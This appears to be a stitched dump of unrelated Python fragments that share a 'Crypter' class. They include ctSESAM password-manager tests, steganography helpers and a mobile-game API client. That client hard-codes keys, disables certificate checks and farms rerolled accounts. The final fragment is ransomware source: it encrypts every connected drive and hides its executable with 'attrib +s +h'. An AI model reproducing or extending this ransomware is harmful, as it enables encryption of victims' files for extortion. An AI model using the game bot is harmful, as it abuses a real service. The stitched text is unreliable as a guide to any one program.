def test_hash_code(self): self.assertEqual("3e25960a79dbc69b674cd4ec67a72c62", Crypter.get_MD5_hash("Hello world")) self.assertEqual("d41d8cd98f00b204e9800998ecf8427e", Crypter.get_MD5_hash("")) self.assertEqual("aaccedee5cc97822658304e92121bd3f", Crypter.get_MD5_hash("уекрекыонекуцкнелеунл"))
def test_store_local_settings(self): abc_setting = self.manager.get_setting('abc.de') abc_setting.set_template('xAxonaxxxx') self.manager.set_setting(abc_setting) new_setting = PasswordSetting('hugo.com') new_setting.set_template('xonxAxxaxxxx') self.manager.set_setting(new_setting) kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() salt = os.urandom(32) kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) self.manager.store_local_settings(kgk_manager) with open(os.path.expanduser('~/.ctSESAM_test.pws'), 'br') as f: data = f.read() settings_crypter = PasswordSettingsManager.get_settings_crypter( kgk_manager) decrypted_settings = settings_crypter.decrypt(data[144:]) sync_settings_len = struct.unpack('!I', decrypted_settings[:4])[0] data = json.loads( Packer.decompress( decrypted_settings[4 + sync_settings_len:]).decode('utf8')) self.assertEqual('abc.de', data['settings']['abc.de']['domain']) self.assertEqual('xAxonaxxxx', data['settings']['abc.de']['passwordTemplate']) self.assertEqual('hugo.com', data['settings']['hugo.com']['domain']) self.assertEqual('xonxAxxaxxxx', data['settings']['hugo.com']['passwordTemplate'])
def _convert_text_to_special_byte_arr(input_text): """Конвертирует текст в специальный байтовый массив, который впоследствии будет вставлен в .bmp файл.""" encoded_text = Crypter.encode_text(input_text).encode("UTF-8") text_hashcode = Crypter.get_MD5_hash(input_text).encode("UTF-8") result_arr_length = Converter.int_to_bytes( len(encoded_text) + len(text_hashcode) + 4, 4) return encoded_text + text_hashcode + result_arr_length
def test_get_kgk_has_kgk(self): kgkm = KgkManager() self.assertEqual(b'', kgkm.get_kgk()) self.assertFalse(kgkm.has_kgk()) kgkm.kgk = b"\xE4" * 64 kgkm.kgk_crypter = Crypter( Crypter.createIvKey(b'1234', b'pepper', iterations=3)) self.assertEqual(b"\xE4" * 64, kgkm.get_kgk()) self.assertTrue(kgkm.has_kgk())
def _check_message_availability(special_byte_arr): """Проверяет массив байт на наличие сообщения и метаданных.""" try: hash_from_byte_arr = special_byte_arr[-36:-4].decode("UTF-8") encoded_text = special_byte_arr[:-36].decode("UTF-8") decoded_text = Crypter.decode_text(encoded_text) hash_of_decoded_text = Crypter.get_MD5_hash(decoded_text) return hash_of_decoded_text == hash_from_byte_arr except UnicodeDecodeError: raise Exception(strings.DATA_CORRUPTED)
def get_settings_crypter(kgk_manager): """ Creates a settings crypter :param kgk_manager: a kgk manager :type kgk_manager: KgkManager :return: Crypter for settings :rtype: Crypter """ return Crypter(Crypter.create_key(kgk_manager.get_kgk(), kgk_manager.get_salt2()) + kgk_manager.get_iv2())
def create_new_kgk(self): """ Creates a new kgk. This overwrites the previous one. :return: the new kgk :rtype: bytes """ self.kgk = os.urandom(64) self.iv2 = Crypter.createIv() self.salt2 = Crypter.createSalt() return self.kgk
def test_get_export_data(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'extras': '#!"§$%&/()[]{}=-_+*<>;:.', 'passwordTemplate': 'xnxoaAxxxx', 'iterations': 5000, 'notes': 'Nice note!', 'salt': 'cGVwcGVy', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'extras': '6478593021', 'passwordTemplate': 'xnxoaA', 'iterations': 4096, 'salt': 'cGVwcGVy', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') f.write(salt + kgk_block + crypter.encrypt( struct.pack('!I', 0) + Packer.compress(json.dumps(settings).encode('utf-8')))) f.close() self.preference_manager.read_file() self.manager.load_local_settings(kgk_manager) data = b64decode(self.manager.get_export_data(kgk_manager)) self.assertEqual(b'\x01', data[:1]) salt = data[1:33] kgk_crypter = Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3)) kgk_manager2 = KgkManager() kgk_manager2.set_preference_manager(self.preference_manager) kgk_manager2.decrypt_kgk(data[33:145], kgk_crypter) settings_crypter = PasswordSettingsManager.get_settings_crypter( kgk_manager2) self.assertEqual( settings['settings'], json.loads( str(Packer.decompress(settings_crypter.decrypt(data[145:])), encoding='utf-8')))
def test_decrypt(self): ciphertext = b'EFEgY5bexGnwjGSUQKK35TPD7fAjG66REq5m9N1eyFHrZQwzv+aLc7bVmJ9FzCyxbCnbyUnzDKiY505br' + \ b'oEb+KO41XKW668xJzh/JvOK0Cu/+bc4/zSFHZM6JsTYEVDIXgR39ZlypeB34jDVI2544w1ey+DmTWbe8n' + \ b'UbagjnmRkok6kOAq8Avsf9BVJMw3BnSn/4cCC+gOxOJY5fp4DecNDQnp0HyyUz2VMMh/JUYILS5+67fXq' + \ b'29CbIQ1DOTqDfqRPA62nkRVPY83cKIe/UXw==' self.assertEqual(0, len(b64decode(ciphertext)) % 16) password = "******" crypter = Crypter(Crypter.createIvKey(password.encode('utf-8'), "pepper".encode('utf-8'), iterations=3)) self.assertEqual(b'Important information with quite some length. ' + b'This message is as long as this because otherwise only one cipher block would ' + b'be encrypted. This long message insures that more than one block is needed.', crypter.decrypt(b64decode(ciphertext)))
def test_get_domain_list(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'extras': '#!"§$%&/()[]{}=-_+*<>;:.', 'passwordTemplate': 'xxxaoxxAxxn', 'iterations': 5000, 'notes': 'Nice note!', 'salt': 'cGVwcGVy', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'extras': '#!"§$%&/()[]{}=-_+*<>;:.', 'passwordTemplate': 'xxxo', 'iterations': 4096, 'salt': 'cGVwcGVy', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') data = json.dumps(settings).encode('utf-8') kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f.write(salt + kgk_block + crypter.encrypt(struct.pack('!I', 0) + Packer.compress(data))) f.close() self.preference_manager.read_file() self.manager.load_local_settings(kgk_manager) self.assertIn('settings', self.manager.get_settings_as_dict()) self.assertIn('unit.test', self.manager.get_settings_as_dict()['settings']) self.assertEqual( settings['settings']['unit.test'], self.manager.get_settings_as_dict()['settings']['unit.test']) self.assertIn('some.domain', self.manager.get_settings_as_dict()['settings']) self.assertEqual( settings['settings']['some.domain'], self.manager.get_settings_as_dict()['settings']['some.domain']) self.assertEqual(settings, self.manager.get_settings_as_dict())
def test_load_settings_from_file(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'passwordTemplate': 'xxxxxxxxxxo', 'extras': '#OWspx6;3gov0/1', 'iterations': 5000, 'notes': 'Nice note!', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'passwordTemplate': 'oxxx', 'extras': '6478593021', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) data = json.dumps(settings).encode('utf-8') kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') f.write(salt + kgk_block + crypter.encrypt(struct.pack('!I', 0) + Packer.compress(data))) f.close() self.preference_manager.read_file() self.manager.load_local_settings(kgk_manager) self.assertIn('unit.test', self.manager.get_domain_list()) self.assertIn('some.domain', self.manager.get_domain_list()) self.assertEqual('xxxxxxxxxxo', self.manager.get_setting('unit.test').get_template()) self.assertEqual( 5000, self.manager.get_setting('unit.test').get_iterations()) self.assertEqual('Nice note!', self.manager.get_setting('unit.test').get_notes()) self.assertEqual( 'oxxx', self.manager.get_setting('some.domain').get_template()) self.assertEqual( '6478593021', self.manager.get_setting('some.domain').get_character_set())
def get_kgk_crypter(self, password, salt): """ Creates a kgk crypter for the given credentials. This is a very expensive operation. :param password: :type password: bytes :param salt: :type salt: bytes :return: a kgk crypter :rtype: Crypter """ self.kgk_crypter = Crypter(Crypter.createIvKey(password=password, salt=salt)) self.store_salt(salt=salt) return self.kgk_crypter
def __init__(self): self.crypter=Crypter() self.base='https://g-api.grandsummoners.com/app/' self.s=requests.Session() self.s.headers.update({'Content-Type':'application/x-www-form-urlencoded','Connection':'keep-alive','User-Agent':'B_megamistrike/53 CFNetwork/808.2.16 Darwin/16.3.0','Accept-Language':'en-gb','Accept-Encoding':'gzip, deflate'}) self.s.verify=False self.app_hash='5f487dc2427b3b369757cb587656c806' self.app_version=31 self.master_version=404 self.resource_version=183 self.platform_type = 1 self.key='ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey=False self.device_id=None self.session_id=None
def _convert_special_byte_arr_to_text(special_byte_arr): """Конвертирует байтовый массив с сообщением обратно в сообщение.""" if not Steganography._check_message_availability(special_byte_arr): raise Exception(strings.DATA_CORRUPTED) encoded_text = special_byte_arr[:-36].decode("UTF-8") decoded_text = Crypter.decode_text(encoded_text) return decoded_text
def decrypt_kgk(self, encrypted_kgk, kgk_crypter=None, password=b'', salt=b''): """ Decrypts kgk blobs. If a crypter is passed it is used. If none is passed a new crypter is created with the salt and password. This takes relatively long. If the encrypted_kgk has a wrong length a new kgk is created. :param encrypted_kgk: :type encrypted_kgk: bytes :param kgk_crypter: :type kgk_crypter: Crypter :param password: :type password: bytes :param salt: :type salt: bytes """ if kgk_crypter: self.kgk_crypter = kgk_crypter else: if len(salt) < 32: salt = Crypter.createSalt() self.get_kgk_crypter(password, salt) if len(encrypted_kgk) == 112: kgk_block = self.kgk_crypter.decrypt_unpadded(encrypted_kgk) self.salt2 = kgk_block[:32] self.iv2 = kgk_block[32:48] self.kgk = kgk_block[48:112] else: self.create_new_kgk()
def test_get_kgk_has_kgk(self): kgkm = KgkManager() self.assertEqual(b'', kgkm.get_kgk()) self.assertFalse(kgkm.has_kgk()) kgkm.kgk = b"\xE4"*64 kgkm.kgk_crypter = Crypter(Crypter.createIvKey(b'1234', b'pepper', iterations=3)) self.assertEqual(b"\xE4"*64, kgkm.get_kgk()) self.assertTrue(kgkm.has_kgk())
def test_decrypt(self): ciphertext = b'EFEgY5bexGnwjGSUQKK35TPD7fAjG66REq5m9N1eyFHrZQwzv+aLc7bVmJ9FzCyxbCnbyUnzDKiY505br' + \ b'oEb+KO41XKW668xJzh/JvOK0Cu/+bc4/zSFHZM6JsTYEVDIXgR39ZlypeB34jDVI2544w1ey+DmTWbe8n' + \ b'UbagjnmRkok6kOAq8Avsf9BVJMw3BnSn/4cCC+gOxOJY5fp4DecNDQnp0HyyUz2VMMh/JUYILS5+67fXq' + \ b'29CbIQ1DOTqDfqRPA62nkRVPY83cKIe/UXw==' self.assertEqual(0, len(b64decode(ciphertext)) % 16) password = "******" crypter = Crypter( Crypter.createIvKey(password.encode('utf-8'), "pepper".encode('utf-8'), iterations=3)) self.assertEqual( b'Important information with quite some length. ' + b'This message is as long as this because otherwise only one cipher block would ' + b'be encrypted. This long message insures that more than one block is needed.', crypter.decrypt(b64decode(ciphertext)))
def post_execute(self): key_iv = self.queue.get() self.process.join() self.kgk_manager.decrypt_kgk(self.preference_manager.get_kgk_block(), Crypter(key_iv)) self.settings_manager.load_local_settings(self.kgk_manager) for i in reversed(range(self.domain_edit.count())): self.domain_edit.removeItem(i) self.domain_edit.insertItems(0, self.settings_manager.get_domain_list()) self.domain_edit.textChanged.emit(self.domain_edit.lineEdit().text())
def get_kgk_crypter_salt(self): """ Loads the public salt. If there is none it is created and stored. :return: """ self.salt = self.preference_manager.get_salt() if len(self.salt) != 32: self.salt = Crypter.createSalt() self.store_salt(self.salt) return self.salt
def __init__(self): self.crypter = Crypter() self.base = 'https://g-api.grandsummoners.com/app/' self.s = requests.Session() self.s.headers.update({ 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'keep-alive', 'User-Agent': 'Grand%20Summoners/145 CFNetwork/808.2.16 Darwin/16.3.0', 'Accept-Language': 'en-gb', 'Accept-Encoding': 'gzip, deflate' }) self.s.verify = False self.app_hash = 'c8fb64652fcdfb325012c09f7efea208' self.app_version = 33 self.master_version = 438 self.resource_version = 191 self.scenario_master_version = 150 self.key = 'ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey = False self.device_id = None self.session_id = None
def __init__(self): self.crypter = Crypter() self.base = 'https://g-api.grandsummoners.com/app/' self.s = requests.Session() self.s.headers.update({ 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'keep-alive', 'User-Agent': 'Grand%20Summoners/170 CFNetwork/1121.2.2 Darwin/19.3.0', 'Accept-Language': 'en-gb', 'Accept-Encoding': 'gzip, deflate' }) self.s.verify = False self.app_hash = 'd8fea9d2539d2f4da9ca3fd3cf7d27ea' self.app_version = 39 self.master_version = 510 self.resource_version = 210 self.scenario_master_version = 170 self.key = 'ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey = False self.device_id = None self.session_id = None
def __init__(self, domain): self.domain = domain self.url = None self.username = None self.legacy_password = None self.notes = None self.iterations = 4096 self.salt = Crypter.createSalt() self.creation_date = datetime.now() self.modification_date = self.creation_date self.extra_characters = DEFAULT_CHARACTER_SET_EXTRA self.template = "x" * 10 self.calculate_template(True, True, True, True) self.synced = False
def __init__(self, domain): self.domain = domain self.url = None self.username = None self.legacy_password = None self.notes = None self.iterations = 4096 self.salt = Crypter.createSalt() self.creation_date = datetime.now() self.modification_date = self.creation_date self.extra_characters = DEFAULT_CHARACTER_SET_EXTRA self.template = 'x' * 10 self.calculate_template(True, True, True, True) self.synced = False
def __init__(self, domain): self.domain = domain self.url = None self.username = None self.legacy_password = None self.notes = None self.iterations = 4096 self.salt = Crypter.createSalt() self.length = 10 self.creation_date = datetime.now() self.modification_date = self.creation_date self.used_characters = self.get_default_character_set() self.extra_characters = DEFAULT_CHARACTER_SET_EXTRA self.template = None self.force_character_classes = False self.synced = False
def create_and_save_new_kgk_block(self, kgk_crypter=None): """ Creates a fresh kgk block and saves it. :param kgk_crypter: :type kgk_crypter: Crypter :return: kgk block :rtype: bytes """ self.salt = Crypter.createSalt() self.store_salt(self.salt) if kgk_crypter: self.kgk_crypter = kgk_crypter kgk_block = self.get_fresh_encrypted_kgk() self.preference_manager.store_kgk_block(kgk_block) return kgk_block
class Scrambler(object): def __init__(self, parser, password): self.crypter = Crypter(password) self.parser = parser def scramble_func_names(self): scrambled = dict() for func_name in self.parser.func_names: scrambled[func_name] = self._scramble(func_name) return scrambled def _scramble(self, str): data = str.encode() encrypted = self.crypter.encrypt(data) hasher = MD5.new() hasher.update(encrypted) return hasher.hexdigest()
class API(object): def __init__(self): self.crypter = Crypter() self.base = 'https://g-api.grandsummoners.com/app/' self.s = requests.Session() self.s.headers.update({ 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'keep-alive', 'User-Agent': 'Grand%20Summoners/145 CFNetwork/808.2.16 Darwin/16.3.0', 'Accept-Language': 'en-gb', 'Accept-Encoding': 'gzip, deflate' }) self.s.verify = False self.app_hash = 'c8fb64652fcdfb325012c09f7efea208' self.app_version = 33 self.master_version = 438 self.resource_version = 191 self.scenario_master_version = 150 self.key = 'ZFlyUU0ycFJaTVlFRkVoaA==' self.useNewKey = False self.device_id = None self.session_id = None def setDevice(self, id): self.platform_type = id def setProxy(self, ip, port): part = '%s:%s' % (ip, port) self.log('using proxy %s' % (part)) self.s.proxies.update({ 'http': 'http://%s' % part, 'https': 'https://%s' % part, }) def getUnitName(self, id): id = str(id) if id in unit_master.data: return unit_master.data[id]['name'] self.log('%s missing' % (id)) return None def getUnitRarity(self, id): id = str(id) if id in unit_master.data: return unit_master.data[id]['rarity'] self.log('%s missing' % (id)) return None def getEquipName(self, id): id = str(id) if id in item_master.data: return item_master.data[id]['name'] self.log('%s missing' % (id)) return None def getEquipRarity(self, id): id = str(id) if id in item_master.data: return item_master.data[id]['rarity'] self.log('%s missing' % (id)) return None def setNextKey(self, key): self.key = base64.b64encode(key) def challenge_end(self, challenge_id): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "challenge_id": challenge_id, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def challenge_top(self): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def eventshop_page(self, event_id): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "event_id": event_id, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def gacha_do(self, button_no, gacha_id): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "button_no": button_no, "gacha_id": gacha_id, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def gacha_top(self): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def game_init(self): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "encryption_key": "dYrQM2pRZMYEFEhh\\ZgAEi{I[?ZToT@G", "master_version": 0, "platform_type": self.platform_type, "resource_version": 0, "scenario_master_version": 0 }) def home(self): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def login(self): res = self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "country_code": "", "device_id": "", "device_token": "", "is_agree": 1, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) self.useNewKey = True return res def setSessionId(self, id): self.session_id = id def setDeviceId(self, id): self.device_id = id def doLogin(self, id1, id2, force=False): if force: self.useNewKey = False self.setSessionId(id2) self.setDeviceId(id1) return self.login() else: self.game_init() self.version_get() self.setSessionId(id2) self.setDeviceId(id1) return self.login() def message_list_get(self, page): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "get_type": 0, "master_version": self.master_version, "page": page, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def message_open(self, message_id_list): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "message_id_list": message_id_list, "page": 1, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def party_update(self, user_party_list): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "party": { "main_no": 0, "user_party_list": user_party_list }, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def quest_end(self, quest_end, tutorial_is_end=None, tutorial_step=None, tutorial_type=None): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "is_ranking_view": False, "master_version": self.master_version, "platform_type": self.platform_type, "quest_end": quest_end, "resource_version": self.resource_version, "tutorial_is_end": tutorial_is_end, "tutorial_step": tutorial_step, "tutorial_type": tutorial_type, "user_unique_id": "" }) def quest_start(self, quest_id, dungeon_id=10100, map_id=10000): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "dungeon_id": dungeon_id, "food_id": 0, "map_id": map_id, "master_version": self.master_version, "party": {}, "platform_type": self.platform_type, "quest_id": quest_id, "resource_version": self.resource_version, "supporter_id": "0", "user_tool_id": 0, "user_unique_id": "" }) def register_email(self, mail, password): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "email": mail, "master_version": self.master_version, "password": password, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def scenario_end(self, played_scenario_id, tutorial_is_end=0, tutorial_step=0, tutorial_type=0): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "platform_type": self.platform_type, "played_scenario_id": played_scenario_id, "resource_version": self.resource_version, "tutorial_is_end": tutorial_is_end, "tutorial_step": tutorial_step, "tutorial_type": tutorial_type, "user_unique_id": "" }) def tutorial_update(self, tutorial_is_end, tutorial_step, tutorial_type): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "tutorial_is_end": tutorial_is_end, "tutorial_step": tutorial_step, "tutorial_type": tutorial_type, "user_unique_id": "" }) def user_create(self, nickname): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "country_code": "", "master_version": self.master_version, "nickname": nickname, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def tutorial_skip(self): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "country_code": "", "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "user_unique_id": "" }) def tutorial_unit_add(self, tutorial_step, tutorial_type, unit_no=1): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "country_code": "", "master_version": self.master_version, "platform_type": self.platform_type, "resource_version": self.resource_version, "tutorial_step": tutorial_step, "tutorial_type": tutorial_type, "unit_no": unit_no, "user_unique_id": "" }) def version_get(self): return self.callAPI({ "app_hash": self.app_hash, "app_version": self.app_version, "master_version": 0, "platform_type": self.platform_type, "resource_version": 0 }) def decrypt(self, input): return self.crypter.decrypt( input, 'ZFlyUU0ycFJaTVlFRkVoaA==' if not self.useNewKey else self.key) def encrypt(self, input): return self.crypter.encrypt( input, 'ZFlyUU0ycFJaTVlFRkVoaA==' if not self.useNewKey else self.key) def genRandomIP(self): return socket.inet_ntoa( struct.pack('>I', random.randint(1, 0xffffffff))) def callAPI(self, idata): _caller = sys._getframe(1).f_code.co_name if 'scenario_master_version' not in idata: idata['scenario_master_version'] = self.scenario_master_version self.log('..%s()' % (_caller)) r = self.s.post(self.base + _caller, data=json.dumps({ 'body': self.encrypt(idata), 'device_id': '' if not self.device_id else self.device_id, 'session_id': '' if not self.session_id else self.session_id })) if 'error_message' in r.content: self.log('error_message:%s()' % (_caller)) return None body = json.loads(r.content)['body'] if len(body) <= 100: return body data = json.loads(self.decrypt(body)) if 'STATUS' in data and data['STATUS'] != 100: self.log('%s() status:%s' % (_caller, data['STATUS'])) return None if 'encryption_key' in data: self.setNextKey(data['encryption_key']) if 'session_id' in data: self.session_id = data['session_id'] if 'player_update' in data['result']: if 'public_id' in data['result']['player_update']: self.log('hello %s:%s' % (data['result']['player_update']['public_id'], data['result']['player_update']['nickname'])) if 'device_id' in data['result']['player_update']: self.device_id = data['result']['player_update'][ 'device_id'] if 'master_version' in data['result']: self.master_version = data['result']['master_version'] self.resource_version = data['result']['resource_version'] self.scenario_master_version = data['result'][ 'scenario_master_version'] return data def log(self, msg): print '[%s]%s' % (time.strftime('%H:%M:%S'), msg.encode('utf-8')) def sappend(self, d, f): with io.open(f, 'a', encoding='utf8') as the_file: the_file.write('%s\n' % (unicode(d))) def genRandomHex(self, n): return ''.join([random.choice('0123456789ABCDEF') for x in range(n)]).lower() def doMission(self, quest_id, tutorial_is_end=None, tutorial_step=None, tutorial_type=None): start = self.quest_start(quest_id) defeated_enemies = [] for i in start['result']['quest']['battle_list']: for j in i['enemy_list']: if j == 0: continue defeated_enemies.append(j['enemy_no']) quest_end = {} quest_end['boss_id'] = -1 quest_end['break_count'] = 0 quest_end['break_max_damage'] = 0 quest_end['clear_time'] = 13.312557220458984 quest_end['combo_max'] = 0 quest_end['continue_count'] = 0 quest_end['crystal_count'] = 11 quest_end['dead_count'] = 0 quest_end['defeated_enemies'] = defeated_enemies quest_end['dungeon_id'] = 1 quest_end['equipped_item_id_list'] = [300018000, 300001050] quest_end['fullcharge_kill'] = True quest_end['is_state_abnormal'] = False quest_end['live_unit_count'] = 2 quest_end['map_id'] = 10000 quest_end['max_damage'] = 3528 quest_end['multi_user_id_list'] = [] quest_end['quest_id'] = quest_id quest_end['reached_battle_no'] = len( start['result']['quest']['battle_list']) quest_end['rest_boss_hp'] = 0 quest_end['result'] = 1 quest_end['used_item_count'] = {} return self.quest_end(quest_end, tutorial_is_end, tutorial_step, tutorial_type) def getAllGifts(self): message_list = self.message_list_get(1)['result']['message_list'] message_id_list = [] for i in message_list: message_id_list.append(i['id']) while (True): res = self.message_open( message_id_list)['result']['message']['player_message_list'] if len(res) == 0: break message_id_list = [] for i in res: message_id_list.append(i['id']) def getAllChallenges(self): challenge = self.challenge_top( )['result']['player_update']['challenge'] for i in challenge: if i['clear_value'] == i['current_value']: self.challenge_end(i['user_challenge_id']) def exportUnits(self): units = {} equip = {} device_id = self.device_id session_id = self.session_id self.device_id = None self.session_id = None res = self.doLogin(device_id, session_id, True) player_unit_list = res['result']['player']['unit']['player_unit_list'] player_item_list = res['result']['player']['item']['player_item_list'] fourstar = 0 for u in player_unit_list: name = self.getUnitName(u['unit_id']) if not name: continue rare = self.getUnitRarity(u['unit_id']) if not rare: continue if rare < 4: self.log('unit:%s rare:%s' % (name, rare)) continue if rare >= 4 and 'Chicken' not in name: fourstar += 1 if u['unit_id'] not in units: units[u['unit_id']] = {} units[u['unit_id']]['name'] = name units[u['unit_id']]['count'] = 1 else: units[u['unit_id']]['count'] += 1 units = ';'.join( ['%s x%s' % (units[x]['name'], units[x]['count']) for x in units]) fourstare = 0 for u in player_item_list: name = self.getEquipName(u['item_id']) if not name: continue rare = self.getEquipRarity(u['item_id']) if not rare: continue if rare < 4: self.log('equip:%s rare:%s' % (name, rare)) continue if rare >= 4: fourstare += 1 if u['item_id'] not in equip: equip[u['item_id']] = {} equip[u['item_id']]['name'] = name equip[u['item_id']]['count'] = 1 else: equip[u['item_id']]['count'] += 1 if True: _password = self.genRandomHex(10) _mail = '*****@*****.**' % (self.genRandomHex(8)) #self.getAllGifts() print _mail, _password self.register_email(_mail, _password) equip = ';'.join([ '%s x%s' % (equip[x]['name'], equip[x]['count']) for x in equip ]) self.sappend( '%s,%s,%s,%s,%s,%s:%s,%s,%s' % ('ios' if self.platform_type == 2 else 'android', fourstar, units, fourstare, equip, _mail, _password, device_id, session_id), 'reroll.csv') else: print fourstar def reroll(self, skipTut=False): if skipTut: self.game_init() self.version_get() self.user_create(self.genRandomHex(6)) if not self.login(): return self.tutorial_skip() self.tutorial_unit_add(12, 1, 2) self.scenario_end(1010399, 1, 13, 1) self.home() self.getAllGifts() self.exportUnits() else: self.game_init() self.version_get() self.user_create(self.genRandomHex(6)) if not self.login(): return self.scenario_end(1000000, 0, 2, 1) res = self.doMission(10101, 0, 4, 1) self.scenario_end(1010190) self.tutorial_update(0, 5, 1) self.scenario_end(10020, 0, 6, 1) self.tutorial_update(0, 7, 1) self.home() player_unit_list = res['result']['player_update']['unit'][ 'player_unit_list'] user_party_list = [{ "leader_unit_id": player_unit_list[1]['id'], "no": 0, "unit": [{ "id": player_unit_list[1]['id'], "no": 0 }, { "id": player_unit_list[0]['id'], "no": 1 }, { "id": -1, "no": 2 }, { "id": -1, "no": 3 }] }] self.party_update(user_party_list) self.scenario_end(1010201, 0, 7, 1) self.scenario_end(10041) self.doMission(10102) self.scenario_end(1010290) #17 self.scenario_end(10050, 0, 9, 1) self.scenario_end(10060, 0, 10, 1) self.scenario_end(10070) #20 self.doMission(10103) self.scenario_end(1010301) self.scenario_end(1010390) #25 self.tutorial_unit_add(12, 1, 2) self.scenario_end(1010399, 1, 13, 1) self.gacha_top() self.home() self.gacha_do(3, 10001) self.gacha_do(3, 20001) self.getAllGifts() self.eventshop_page(2008000) self.scenario_end(201805301) self.getAllChallenges() #self.gacha_do(2,10017) #self.gacha_do(2,10018) #self.gacha_do(2,20006) #self.gacha_do(2,20007) self.home() self.exportUnits()
def create_key_iv(queue, password, salt): queue.put(Crypter.createIvKey(password, salt))
def fresh_iv2(self): """ Creates a fresh iv for the settings encryption (iv2). """ self.iv2 = Crypter.createIv()
def make_test_backward_compatibility(self, text): text_for_code = text encoded_text = Crypter.encode_text(text_for_code) decoded_text = Crypter.decode_text(encoded_text) self.assertEqual(text_for_code, decoded_text)
def new_salt(self): """ Creates a new salt for the setting. """ self.salt = Crypter.createSalt()
def crypt_all() -> None: """ This function uses the list of possible paths for drivers connected to the machine from the "util" file to encrypt them (only available on Windows). """ for drive in drivers: try: chdir(drive + '/') crypter.crypt_directory(drive) except FileNotFoundError: continue except PermissionError: continue crypter = Crypter() desktop = expanduser('~/Desktop') documents = expanduser('~/Documents') downloads = expanduser('~/Downloads') onedrive = expanduser('~/OneDrive') dst = argv[0] # These lines use system commands to hide the ransomware file # (to be placed in C:\Users\Public\filename.exe). try: dst = r'C:\Users\Public\{}'.format(argv[0]) command = f'attrib +s +h {dst}' copyfile(argv[0], dst) system(command)
